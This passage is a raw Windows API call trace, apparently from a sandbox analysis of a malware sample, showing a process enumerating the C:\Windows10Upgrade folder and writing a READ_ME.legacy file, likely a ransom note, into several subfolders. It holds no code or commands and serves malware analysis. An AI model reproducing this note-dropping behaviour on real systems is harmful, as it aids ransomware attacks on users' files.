[0090.327] GetLastError () returned 0x0 [0090.327] SetLastError (dwErrCode=0x0) [0090.327] GetLastError () returned 0x0 [0090.328] SetLastError (dwErrCode=0x0) [0090.328] GetLastError () returned 0x0 [0090.328] SetLastError (dwErrCode=0x0) [0090.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0090.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d0e0 [0090.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0090.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539700 [0090.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5530a0 [0090.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5530a0 | out: hHeap=0x520000) returned 1 [0090.328] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20168 [0090.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20168 | out: hHeap=0x520000) returned 1 [0090.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539700 | out: hHeap=0x520000) returned 1 [0090.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0090.328] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea34fa37, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xccdc86a8, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xb894c443, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0090.328] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.329] GetLastError () returned 0x0 [0090.329] SetLastError (dwErrCode=0x0) [0090.329] GetLastError () returned 0x0 [0090.329] SetLastError (dwErrCode=0x0) [0090.329] GetLastError () returned 0x0 [0090.329] SetLastError (dwErrCode=0x0) [0090.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567150 [0090.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d088 [0090.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0090.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539700 [0090.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5531a0 [0090.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5531a0 | out: hHeap=0x520000) returned 1 [0090.329] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0090.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0090.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x539700 | out: hHeap=0x520000) returned 1 [0090.330] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567150 | out: hHeap=0x520000) returned 1 [0090.330] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea35483d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea355be9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea355be9, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="2052", cAlternateFileName="")) returned 1 [0090.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.330] GetLastError () returned 0x0 [0090.330] SetLastError (dwErrCode=0x0) [0090.330] GetLastError () returned 0x0 [0090.330] SetLastError (dwErrCode=0x0) [0090.330] GetLastError () returned 0x0 [0090.330] SetLastError (dwErrCode=0x0) [0090.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0090.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539700 [0090.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f90 [0090.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0090.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d120 [0090.330] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0090.331] GetLastError () returned 0x0 [0090.331] SetLastError (dwErrCode=0x0) [0090.331] GetLastError () returned 0x0 [0090.331] SetLastError (dwErrCode=0x0) [0090.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0090.331] SetLastError (dwErrCode=0x0) [0090.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d7c0 [0090.331] CreateFileW (lpFileName="\\Windows10Upgrade\\2052\\READ_ME.legacy" (normalized: "c:\\windows10upgrade\\2052\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0090.332] WriteFile (in: hFile=0x470, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0090.333] CloseHandle (hObject=0x470) returned 1 [0090.333] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3659ec, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3659ec, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x704c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="appraiserxp.dll", cAlternateFileName="APPRAI~1.DLL")) returned 1 [0090.333] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.333] GetLastError () returned 0x0 [0090.333] SetLastError (dwErrCode=0x0) [0090.333] GetLastError () returned 0x0 [0090.334] SetLastError (dwErrCode=0x0) [0090.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0090.334] SetLastError (dwErrCode=0x0) [0090.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b38 [0090.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0090.334] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea36cf08, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea36cf08, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x1cec8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootsect.exe", cAlternateFileName="")) returned 1 [0090.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.334] GetLastError () returned 0x0 [0090.334] SetLastError (dwErrCode=0x0) [0090.334] GetLastError () returned 0x0 [0090.334] SetLastError (dwErrCode=0x0) [0090.334] GetLastError () returned 0x0 [0090.334] SetLastError (dwErrCode=0x0) [0090.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b38 [0090.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0090.334] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea350dad, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea350dad, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xb08c3ee, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Configuration.ini", cAlternateFileName="CONFIG~1.INI")) returned 1 [0090.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.335] GetLastError () returned 0x0 [0090.335] SetLastError (dwErrCode=0x0) [0090.335] GetLastError () returned 0x0 [0090.335] SetLastError (dwErrCode=0x0) [0090.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0090.335] SetLastError (dwErrCode=0x0) [0090.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ee8 [0090.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0090.335] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea36e29e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea36e29e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xf0c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cosquery.dll", cAlternateFileName="")) returned 1 [0090.335] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.335] GetLastError () returned 0x0 [0090.335] SetLastError (dwErrCode=0x0) [0090.335] GetLastError () returned 0x0 [0090.335] SetLastError (dwErrCode=0x0) [0090.336] GetLastError () returned 0x0 [0090.336] SetLastError (dwErrCode=0x0) [0090.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5399a8 [0090.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0090.336] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea370998, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea370998, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x508c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="DevInv.dll", cAlternateFileName="")) returned 1 [0090.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.336] GetLastError () returned 0x0 [0090.336] SetLastError (dwErrCode=0x0) [0090.336] GetLastError () returned 0x0 [0090.336] SetLastError (dwErrCode=0x0) [0090.336] GetLastError () returned 0x0 [0090.336] SetLastError (dwErrCode=0x0) [0090.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b38 [0090.336] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0090.336] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3757e9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea377ed3, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea377ed3, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="dll1", cAlternateFileName="")) returned 1 [0090.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.337] GetLastError () returned 0x0 [0090.337] SetLastError (dwErrCode=0x0) [0090.337] GetLastError () returned 0x0 [0090.337] SetLastError (dwErrCode=0x0) [0090.337] GetLastError () returned 0x0 [0090.337] SetLastError (dwErrCode=0x0) [0090.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0090.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x5399a8 [0090.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567000 [0090.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0090.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0090.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c38 [0090.338] GetLastError () returned 0x0 [0090.338] SetLastError (dwErrCode=0x0) [0090.338] GetLastError () returned 0x0 [0090.338] SetLastError (dwErrCode=0x0) [0090.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0090.338] SetLastError (dwErrCode=0x0) [0090.338] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0090.338] CreateFileW (lpFileName="\\Windows10Upgrade\\dll1\\READ_ME.legacy" (normalized: "c:\\windows10upgrade\\dll1\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0090.359] WriteFile (in: hFile=0x470, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0090.360] CloseHandle (hObject=0x470) returned 1 [0090.360] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea37cd05, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea37cd05, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea37cd05, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="dll2", cAlternateFileName="")) returned 1 [0090.360] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.360] GetLastError () returned 0x0 [0090.360] SetLastError (dwErrCode=0x0) [0090.361] GetLastError () returned 0x0 [0090.361] SetLastError (dwErrCode=0x0) [0090.361] GetLastError () returned 0x0 [0090.361] SetLastError (dwErrCode=0x0) [0090.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cb8 [0090.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x539b38 [0090.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0090.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0090.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0090.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578bf0 [0090.361] GetLastError () returned 0x0 [0090.361] SetLastError (dwErrCode=0x0) [0090.361] GetLastError () returned 0x0 [0090.361] SetLastError (dwErrCode=0x0) [0090.361] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0090.361] SetLastError (dwErrCode=0x0) [0090.362] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d710 [0090.362] CreateFileW (lpFileName="\\Windows10Upgrade\\dll2\\READ_ME.legacy" (normalized: "c:\\windows10upgrade\\dll2\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0090.412] WriteFile (in: hFile=0x470, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0090.413] CloseHandle (hObject=0x470) returned 1 [0090.414] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea380798, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea380798, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x326c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="downloader.dll", cAlternateFileName="DOWNLO~1.DLL")) returned 1 [0090.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.414] GetLastError () returned 0x0 [0090.414] SetLastError (dwErrCode=0x0) [0090.414] GetLastError () returned 0x0 [0090.414] SetLastError (dwErrCode=0x0) [0090.414] GetLastError () returned 0x0 [0090.414] SetLastError (dwErrCode=0x0) [0090.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0090.414] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea381b2a, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea381b2a, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x9d2c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0090.414] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.414] GetLastError () returned 0x0 [0090.415] SetLastError (dwErrCode=0x0) [0090.415] GetLastError () returned 0x0 [0090.415] SetLastError (dwErrCode=0x0) [0090.415] GetLastError () returned 0x0 [0090.415] SetLastError (dwErrCode=0x0) [0090.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f50 [0090.415] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea385605, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea385605, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xc2c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="DWDCW20.DLL", cAlternateFileName="")) returned 1 [0090.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.415] GetLastError () returned 0x0 [0090.416] SetLastError (dwErrCode=0x0) [0090.416] GetLastError () returned 0x0 [0090.416] SetLastError (dwErrCode=0x0) [0090.416] GetLastError () returned 0x0 [0090.416] SetLastError (dwErrCode=0x0) [0090.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0090.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a88 [0090.416] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea386943, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea386943, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0xb2c8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0090.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.416] GetLastError () returned 0x0 [0090.416] SetLastError (dwErrCode=0x0) [0090.416] GetLastError () returned 0x0 [0090.416] SetLastError (dwErrCode=0x0) [0090.416] GetLastError () returned 0x0 [0090.417] SetLastError (dwErrCode=0x0) [0090.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.417] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0090.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ad0 [0090.417] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea387cd0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea387cd0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x2652, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="EnableWiFiTracing.cmd", cAlternateFileName="ENABLE~1.CMD")) returned 1 [0090.417] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.417] GetLastError () returned 0x0 [0090.417] SetLastError (dwErrCode=0x0) [0090.417] GetLastError () returned 0x0 [0090.417] SetLastError (dwErrCode=0x0) [0090.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0090.417] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.417] GetLastError () returned 0x0 [0090.417] SetLastError (dwErrCode=0x0) [0090.417] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567000 [0090.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567000 | out: hHeap=0x520000) returned 1 [0090.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0090.418] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea389060, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea389060, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x10cc8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ESDHelper.dll", cAlternateFileName="ESDHEL~1.DLL")) returned 1 [0090.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0090.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.418] GetLastError () returned 0x0 [0090.418] SetLastError (dwErrCode=0x0) [0090.418] GetLastError () returned 0x0 [0090.418] SetLastError (dwErrCode=0x0) [0090.418] GetLastError () returned 0x0 [0090.418] SetLastError (dwErrCode=0x0) [0090.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0090.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f98 [0090.418] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea38cadd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea38cadd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfa216a00, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x9ec8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="esdstub.dll", cAlternateFileName="")) returned 1 [0090.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.418] GetLastError () returned 0x0 [0090.419] SetLastError (dwErrCode=0x0) [0090.419] GetLastError () returned 0x0 [0090.419] SetLastError (dwErrCode=0x0) [0090.419] GetLastError () returned 0x0 [0090.419] SetLastError (dwErrCode=0x0) [0090.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0090.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0090.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ec0 [0090.419] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea38de7f, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea38de7f, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x89ec8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="GatherOSState.EXE", cAlternateFileName="GATHER~1.EXE")) returned 1 [0090.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0090.419] GetLastError () returned 0x0 [0090.419] SetLastError (dwErrCode=0x0) [0090.419] GetLastError () returned 0x0 [0090.419] SetLastError (dwErrCode=0x0) [0090.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0090.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0090.419] GetLastError () returned 0x0 [0090.420] SetLastError (dwErrCode=0x0) [0090.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0090.420] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0090.420] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0090.420] FindNextFileW (in: hFindFile=0x553020, lpFindFileData=0x2e1fb24 | out: 